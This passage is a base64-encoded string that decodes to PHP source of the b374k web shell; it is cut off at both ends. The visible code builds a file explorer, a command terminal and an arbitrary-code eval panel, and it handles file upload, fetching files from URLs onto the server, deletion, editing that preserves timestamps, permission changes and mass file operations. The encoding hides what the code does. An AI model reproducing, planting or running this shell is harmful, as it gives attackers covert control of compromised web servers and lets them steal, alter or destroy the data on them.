zaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ291dHB1dCcpKXsKCWZ1bmN0aW9uIG91dHB1dCgkc3RyKXsKCQkkZXJyb3IgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJQG9iX2VuZF9jbGVhbigpOwoJCWhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CgkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOwoJCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoJCWVjaG8gJHN0cjsKCQlkaWUoKTsKCX0KfQpibG9ja19ib3QoKTsKYXV0aCgpOwpjaGRpcihnZXRfY3dkKCkpOwokbmF2ID0gZ2V0X25hdihnZXRfY3dkKCkpOwokcCA9IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgZ2V0X3Bvc3QoKSk7CiRjd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKJEdMT0JBTFNbJ21vZHVsZSddID0gYXJyYXkoKTsKCiRleHBsb3Jlcl9jb250ZW50ID0gIiI7CmlmKGlzc2V0KCRwWyd2aWV3RW50cnknXSkpewoJJHBhdGggPSB0cmltKCRwWyd2aWV3RW50cnknXSk7CglpZihpc19maWxlKCRwYXRoKSl7CgkJJGRpcm5hbWUgPSByZWFscGF0aChkaXJuYW1lKCRwYXRoKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlzZXRjb29raWUoImN3ZCIsICRkaXJuYW1lKTsKCQljaGRpcigkZGlybmFtZSk7CgkJJG5hdiA9IGdldF9uYXYoJGRpcm5hbWUpOwoJCSRjd2QgPSBodG1sX3NhZmUoJGRpcm5hbWUpOwoJCSRleHBsb3Jlcl9jb250ZW50ID0gdmlld19maWxlKCRwYXRoLCAiYXV0byIpOwoJfQoJZWxzZWlmKGlzX2RpcigkcGF0aCkpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJY2hkaXIoJHBhdGgpOwoJCSRuYXYgPSBnZXRfbmF2KCRwYXRoKTsKCQkkY3dkID0gaHRtbF9zYWZlKCRwYXRoKTsKCQkkZXhwbG9yZXJfY29udGVudCA9IHNob3dfYWxsX2ZpbGVzKCRwYXRoKTsKCX0KfQplbHNlICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoZ2V0X2N3ZCgpKTsKCiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnaWQnXSA9ICJleHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsndGl0bGUnXSA9ICJFeHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnY29udGVudCddID0gJGV4cGxvcmVyX2NvbnRlbnQ7CgokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2lkJ10gPSAidGVybWluYWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ3RpdGxlJ10gPSAiVGVybWluYWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCk9PScnKSkgJCgnI3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnY29udGVudCddID0gIjxwcmUgaWQ9J3Rlcm1pbmFsT3V0cHV0Jz48L3ByZT48dGFibGUgaWQ9J3Rlcm1pbmFsUHJvbXB0Jz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGlkPSd0ZXJtaW5hbEN3ZCcgY2xhc3M9J3N0cm9uZyc+Ii5nZXRfY3dkKCkuIiZndDs8L3NwYW48L3RkPjx0ZCBpZD0ndGVybWluYWxDb21tYW5kJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3Rlcm1pbmFsSW5wdXQnIGNsYXNzPSdmbG9hdExlZnQnIHNwZWxsY2hlY2s9J2ZhbHNlJz48L3RkPjwvdHI+PC90YWJsZT4iOwoKCiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydpZCddID0gImV2YWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsndGl0bGUnXSA9ICJFdmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjZXZhbE91dHB1dCcpLmh0bWwoKT09J1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpKSAkKCcjZXZhbElucHV0JykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nNCc+PHAgY2xhc3M9J2JveHRpdGxlJz5FdmFsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyPjx0ZCBjb2xzcGFuPSc0Jz48dGV4dGFyZWEgaWQ9J2V2YWxJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnPjwvdGV4dGFyZWE+PC90ZD48L3RyPgoJCgk8dHIgaWQ9J2V2YWxBZGRpdGlvbmFsJz48dGQgY29sc3Bhbj0nNCc+CgkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsT3B0aW9ucycgdmFsdWU9J09wdGlvbnMvU3dpdGNoZXMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPgoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZXZhbEFyZ3VtZW50cycgdmFsdWU9J0FyZ3VtZW50cycgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdldmFsX2dvJyk7XCI+Cgk8L3RkPjwvdHI+CgkKCTx0cj4KCQk8dGQgc3R5bGU9J3dpZHRoOjE0NHB4Oyc+CgkJCTxzZWxlY3QgaWQ9J2V2YWxUeXBlJz4KCQkJCQoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZCBjb2xzcGFuPSczJz4KCQkJPHNwYW4gaWQ9J2V2YWxTdWJtaXQnIHN0eWxlPSd3aWR0aDoxMjBweDsnIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJldmFsX2dvKCk7XCI+cnVuPC9zcGFuPgkKCQk8L3RkPgoJPC90cj4KCQoJPHRyPjx0ZCBjb2xzcGFuPSc0Jz48cHJlIGlkPSdldmFsT3V0cHV0Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3ByZT48L3RkPC90cj4KPC90Ym9keT4KPC90YWJsZT4KIjsKCiRyZXMgPSAiIjsKaWYoaXNzZXQoJHBbJ2NkJ10pKXsKCSRwYXRoID0gJHBbJ2NkJ107CglpZih0cmltKCRwYXRoKT09JycpICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7CgoJJHBhdGggPSByZWFscGF0aCgkcGF0aCk7CglpZihpc19maWxlKCRwYXRoKSkgJHBhdGggPSBkaXJuYW1lKCRwYXRoKTsKCWlmKGlzX2RpcigkcGF0aCkpewoJCWNoZGlyKCRwYXRoKTsKCQkkcGF0aCA9ICRwYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJJHJlcyA9ICRwYXRoLiJ7W3xiMzc0a3xdfSIuZ2V0X25hdigkcGF0aCkuIntbfGIzNzRrfF19IjsKCQlpZihpc3NldCgkcFsnc2hvd2ZpbGVzJ10pJiYoJHBbJ3Nob3dmaWxlcyddPT0ndHJ1ZScpKXsKCQkJJHJlcyAuPSBzaG93X2FsbF9maWxlcygkcGF0aCk7CgkJfQoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3ZpZXdGaWxlJ10pICYmIGlzc2V0KCRwWyd2aWV3VHlwZSddKSl7CgkkcGF0aCA9IHRyaW0oJHBbJ3ZpZXdGaWxlJ10pOwoJJHR5cGUgPSB0cmltKCRwWyd2aWV3VHlwZSddKTsKCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCSRyZXMgPSB2aWV3X2ZpbGUoJHBhdGgsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXApOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3JlbmFtZUZpbGUnXSkgJiYgaXNzZXQoJHBbJ3JlbmFtZUZpbGVUbyddKSl7CgkkcmVuYW1lRmlsZSA9IHRyaW0oJHBbJ3JlbmFtZUZpbGUnXSk7CgkkcmVuYW1lRmlsZVRvID0gdHJpbSgkcFsncmVuYW1lRmlsZVRvJ10pOwoJaWYoZmlsZV9leGlzdHMoJHJlbmFtZUZpbGUpKXsKCQlpZihyZW5hbWUoJHJlbmFtZUZpbGUsICRyZW5hbWVGaWxlVG8pKXsKCQkJJHJlcyA9IGRpcm5hbWUoJHJlbmFtZUZpbGVUbyk7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3Rm9sZGVyJ10pKXsKCSRuZXdGb2xkZXIgPSB0cmltKCRwWyduZXdGb2xkZXInXSk7CglpZihta2RpcigkbmV3Rm9sZGVyKSl7CgkJJHJlcyA9IGRpcm5hbWUoJG5ld0ZvbGRlcik7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3RmlsZSddKSl7CgkkbmV3RmlsZSA9IHRyaW0oJHBbJ25ld0ZpbGUnXSk7CglpZih0b3VjaCgkbmV3RmlsZSkpewoJCSRyZXMgPSBkaXJuYW1lKCRuZXdGaWxlKTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkZWxldGUnXSkpewoJJHBhdGggPSB0cmltKCRwWydkZWxldGUnXSk7CgkkZGlybmFtZSA9IGRpcm5hbWUoJHBhdGgpOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCWlmKHVubGluaygkcGF0aCkpICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQlpZihybWRpcnMoJHBhdGgpPjApICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglpZihmaWxlX2V4aXN0cygkcGF0aCkpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZWRpdFR5cGUnXSkmJmlzc2V0KCRwWydlZGl0RmlsZW5hbWUnXSkmJmlzc2V0KCRwWydlZGl0SW5wdXQnXSkmJmlzc2V0KCRwWydwcmVzZXJ2ZVRpbWVzdGFtcCddKSl7CgkkZWRpdEZpbGVuYW1lID0gdHJpbSgkcFsnZWRpdEZpbGVuYW1lJ10pOwoJJGVkaXRJbnB1dCA9IHRyaW0oJHBbJ2VkaXRJbnB1dCddKTsKCSRlZGl0VHlwZSA9IHRyaW0oJHBbJ2VkaXRUeXBlJ10pOwoJJHByZXNlcnZlVGltZXN0YW1wID0gdHJpbSgkcFsncHJlc2VydmVUaW1lc3RhbXAnXSk7CgkkdGltZSA9IGZpbGVtdGltZSgkZWRpdEZpbGVuYW1lKTsKCWlmKCRlZGl0VHlwZT09J2hleCcpICRlZGl0SW5wdXQgPSBwYWNrKCJIKiIgLCBwcmVnX3JlcGxhY2UoIi9ccy8iLCIiLCAkZWRpdElucHV0KSk7CglpZih3cml0ZV9maWxlKCRlZGl0RmlsZW5hbWUsICRlZGl0SW5wdXQpKXsKCQkkcmVzID0gJGVkaXRGaWxlbmFtZTsKCQlpZigkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJykgdG91Y2goJGVkaXRGaWxlbmFtZSwgJHRpbWUpOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2ZpbmRUeXBlJ10pKXsKCSRmaW5kVHlwZSA9IHRyaW0oJHBbJ2ZpbmRUeXBlJ10pOwoJJGZpbmRQYXRoID0gdHJpbSgkcFsnZmluZFBhdGgnXSk7CgkkZmluZE5hbWUgPSB0cmltKCRwWydmaW5kTmFtZSddKTsKCSRmaW5kTmFtZVJlZ2V4ID0gdHJpbSgkcFsnZmluZE5hbWVSZWdleCddKTsKCSRmaW5kTmFtZUluc2Vuc2l0aXZlID0gdHJpbSgkcFsnZmluZE5hbWVJbnNlbnNpdGl2ZSddKTsKCSRmaW5kQ29udGVudCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50J10pOwoJJGZpbmRDb250ZW50UmVnZXggPSB0cmltKCRwWydmaW5kQ29udGVudFJlZ2V4J10pOwoJJGZpbmRDb250ZW50SW5zZW5zaXRpdmUgPSB0cmltKCRwWydmaW5kQ29udGVudEluc2Vuc2l0aXZlJ10pOwoJJGZpbmRSZWFkYWJsZSA9IHRyaW0oJHBbJ2ZpbmRSZWFkYWJsZSddKTsKCSRmaW5kV3JpdGFibGUgPSB0cmltKCRwWydmaW5kV3JpdGFibGUnXSk7CgkkZmluZEV4ZWN1dGFibGUgPSB0cmltKCRwWydmaW5kRXhlY3V0YWJsZSddKTsKCgkkY2FuZGlkYXRlID0gZ2V0X2FsbF9maWxlcygkZmluZFBhdGgpOwoJaWYoJGZpbmRUeXBlPT0nZmlsZScpICRjYW5kaWRhdGUgPSBhcnJheV9maWx0ZXIoJGNhbmRpZGF0ZSwgImlzX2ZpbGUiKTsKCWVsc2VpZigkZmluZFR5cGU9PSdmb2xkZXInKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19kaXIiKTsKCWVsc2UgJHJlcyA9ICJlcnJvciI7CgoJZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsKCQlpZigoJGZpbmRUeXBlPT0iZmlsZSIpfHwoJGZpbmRUeXBlPT0iZm9sZGVyIikpewoJCQlpZighZW1wdHkoJGZpbmROYW1lKSl7CgkJCQlpZigkZmluZE5hbWVSZWdleD09InRydWUiKXsKCQkJCQkkY2FzZSA9ICgkZmluZE5hbWVJbnNlbnNpdGl2ZT09InRydWUiKT8gImkiOiIiOwoJCQkJCWlmKCFwcmVnX21hdGNoKCIvIi4kZmluZE5hbWUuIi8iLiRjYXNlLCBiYXNlbmFtZSgkaykpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kTmFtZUluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcihiYXNlbmFtZSgkaykpLCBzdHJ0b2xvd2VyKCRmaW5kTmFtZSkpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRjaGVjayA9IHN0cnBvcyhiYXNlbmFtZSgkayksICRmaW5kTmFtZSk9PT1mYWxzZTsKCQkJCQl9CgoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCWlmKCRmaW5kVHlwZT09ImZpbGUiKXsKCQkJaWYoIWVtcHR5KCRmaW5kQ29udGVudCkpewoJCQkJJGNvbnRlbnQgPSByZWFkX2ZpbGUoJGspOwoJCQkJaWYoJGZpbmRDb250ZW50UmVnZXg9PSJ0cnVlIil7CgkJCQkJJGNhc2UgPSAoJGZpbmRDb250ZW50SW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsKCQkJCQlpZighcHJlZ19tYXRjaCgiLyIuJGZpbmRDb250ZW50LiIvIi4kY2FzZSwgJGNvbnRlbnQpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcigkY29udGVudCksIHN0cnRvbG93ZXIoJGZpbmRDb250ZW50KSk9PT1mYWxzZTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJGNoZWNrID0gc3RycG9zKCRjb250ZW50LCAkZmluZENvbnRlbnQpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoKCWZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7CgkJaWYoJGZpbmRSZWFkYWJsZT09InRydWUiKXsKCQkJaWYoIWlzX3JlYWRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9CgkJaWYoJGZpbmRXcml0YWJsZT09InRydWUiKXsKCQkJaWYoIWlzX3dyaXRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9CgkJaWYoJGZpbmRFeGVjdXRhYmxlPT0idHJ1ZSIpewoJCQlpZighaXNfZXhlY3V0YWJsZSgkaykpICRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJfQoJfQoKCWlmKGNvdW50KCRjYW5kaWRhdGUpPjApewoJCSRyZXMgPSAiIjsKCQlmb3JlYWNoKCRjYW5kaWRhdGUgYXMgJGspewoJCQkkcmVzIC49ICI8cD48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJGspLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkaykuIjwvYT48L3A+IjsKCQl9Cgl9CgllbHNlICRyZXMgPSAiIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3VsVHlwZSddKSl7CgkkdWxTYXZlVG8gPSB0cmltKCRwWyd1bFNhdmVUbyddKTsKCSR1bEZpbGVuYW1lID0gdHJpbSgkcFsndWxGaWxlbmFtZSddKTsKCglpZigkcFsndWxUeXBlJ109PSdjb21wJyl7CgkJJHVsRmlsZSA9ICRfRklMRVNbJ3VsRmlsZSddOwoJCWlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSAkdWxGaWxlWyduYW1lJ107CgoJCWlmKGlzX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSkpewoJCQlpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7CgkJCSRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOwoJCQlpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSwgJG5ld2ZpbGUpKXsKCQkJCSRyZXMgPSAiPHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJG5ld2ZpbGUpLiI8L2E+Jm5ic3A7KCAxMDAlICkiOwoJCQl9CgkJCWVsc2UgJHJlcyA9ICJlcnJvciI7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlaWYoJHBbJ3VsVHlwZSddPT0ndXJsJyl7CgkJJHVsRmlsZSA9IHRyaW0oJHBbJ3VsRmlsZSddKTsKCQlpZihlbXB0eSgkdWxGaWxlbmFtZSkpICR1bEZpbGVuYW1lID0gYmFzZW5hbWUoJHVsRmlsZSk7CgkJaWYoIWlzX2RpcigkdWxTYXZlVG8pKSBta2RpcigkdWxTYXZlVG8pOwoJCSRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOwoKCQlpZihkb3dubG9hZCgkdWxGaWxlLCAkbmV3ZmlsZSkpewoJCQkkcmVzID0gIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIicgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnPiIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iPC9hPiZuYnNwOyggMTAwJSApIjsKCQl9CgkJZWxzZSAkcmVzID0gImVycm9yIjsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkb3dubG9hZCddKSl7CgkkZmlsZSA9IHRyaW0oJHBbJ2Rvd25sb2FkJ10pOwoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQloZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIik7CgkJaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJGZpbGUpLiJcIjsiKTsKCQkkaGFuZGxlciA9IGZvcGVuKCRmaWxlLCJyYiIpOwoJCXdoaWxlKCFmZW9mKCRoYW5kbGVyKSl7CgkJCXByaW50KGZyZWFkKCRoYW5kbGVyLCAxMDI0KjgpKTsKCQkJQG9iX2ZsdXNoKCk7CgkJCUBmbHVzaCgpOwoJCX0KCQlmY2xvc2UoJGhhbmRsZXIpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbXVsdGltZWRpYSddKSl7CgkkZmlsZSA9IHRyaW0oJHBbJ211bHRpbWVkaWEnXSk7CgkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkkbWltZSA9ICIiOwoJJGZpbGVfZXh0X3BvcyA9IHN0cnJwb3MoJGZpbGUsICIuIik7CglpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCSRmaWxlX2V4dCA9IHRyaW0oc3Vic3RyKCRmaWxlLCAkZmlsZV9leHRfcG9zKSwiLiIpOwoJCWlmKHByZWdfbWF0Y2goIi8oW15cc10rKVwgLipcYiIuJGZpbGVfZXh0LiJcYi4qL2kiLCAkbWltZV9saXN0LCAkcmVzKSl7CgkJCSRtaW1lID0gJHJlc1sxXTsKCQl9Cgl9CgoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiLiRtaW1lKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQllY2hvICJkYXRhOiIuJG1pbWUuIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbWFzc1R5cGUnXSkmJmlzc2V0KCRwWydtYXNzQnVmZmVyJ10pJiZpc3NldCgkcFsnbWFzc1BhdGgnXSkmJmlzc2V0KCRwWydtYXNzVmFsdWUnXSkpewoJJG1hc3NUeXBlID0gdHJpbSgkcFsnbWFzc1R5cGUnXSk7CgkkbWFzc0J1ZmZlciA9IHRyaW0oJHBbJ21hc3NCdWZmZXInXSk7CgkkbWFzc1BhdGggPSByZWFscGF0aCgkcFsnbWFzc1BhdGgnXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCSRtYXNzVmFsdWUgPSB0cmltKCRwWydtYXNzVmFsdWUnXSk7CgkkY291bnRlciA9IDA7CgoJJG1hc3NCdWZmZXJBcnIgPSBleHBsb2RlKCJcbiIsICRtYXNzQnVmZmVyKTsKCWlmKCgkbWFzc1R5cGU9PSd0YXInKXx8KCRtYXNzVHlwZT09J3Rhcmd6Jyl8fCgkbWFzc1R5cGU9PSd6aXAnKSl7CgkJaWYoY29tcHJlc3MoJG1hc3NUeXBlLCAkbWFzc1ZhbHVlLCAkbWFzc0J1ZmZlckFycikpewoJCQkkY291bnRlcisrOwoJCQlyZXR1cm4gJGNvdW50ZXI7CgkJfQoJfQoJZWxzZXsKCQlmb3JlYWNoKCRtYXNzQnVmZmVyQXJyIGFzICRrKXsKCQkJJHBhdGggPSB0cmltKCRrKTsKCQkJaWYoZmlsZV9leGlzdHMoJHBhdGgpKXsKCQkJCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IGZpbGVtdGltZSgkcGF0aCk7CgkJCQlpZigkbWFzc1R5cGU9PSdkZWxldGUnKXsKCQkJCQlpZihpc19maWxlKCRwYXRoKSl7CgkJCQkJCWlmKHVubGluaygkcGF0aCkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQkJCQkJaWYocm1kaXJzKCRwYXRoKT4wKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2VpZigkbWFzc1R5cGU9PSdjdXQnKXsKCQkJCQkkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7CgkJCQkJaWYocmVuYW1lKCRwYXRoLCAkZGVzdCkpewoJCQkJCQkkY291bnRlcisrOwoJCQkJCQl0b3VjaCgkZGVzdCwgJHByZXNlcnZlVGltZXN0YW1wKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoJG1hc3NUeXBlPT0nY29weScpewoJCQkJCSRkZXN0ID0gJG1hc3NQYXRoLmJhc2VuYW1lKCRwYXRoKTsKCQkJCQlpZihpc19kaXIoJHBhdGgpKXsKCQkJCQkJaWYoY29weXMoJHBhdGgsICRkZXN0KT4wKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCQllbHNlaWYoaXNfZmlsZSgkcGF0aCkpewoJCQkJCQlpZihjb3B5KCRwYXRoLCAkZGVzdCkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZWlmKCgkbWFzc1R5cGU9PSd1bnRhcicpfHwoJG1hc3NUeXBlPT0ndW50YXJneicpfHwoJG1hc3NUeXBlPT0ndW56aXAnKSl7CgkJCQkJaWYoZGVjb21wcmVzcygkbWFzc1R5cGUsICRwYXRoLCAkbWFzc1ZhbHVlKSl7CgkJCQkJCSRjb3VudGVyKys7CgkJCQkJCXJldHVybiAkY291bnRlcjsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoIWVtcHR5KCRtYXNzVmFsdWUpKXsKCQkJCQlpZigkbWFzc1R5cGU9PSdjaG1vZCcpewoJCQkJCQlpZihjaG1vZCgkcGF0aCwgb2N0ZGVjKCRtYXNzVmFsdWUpKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQ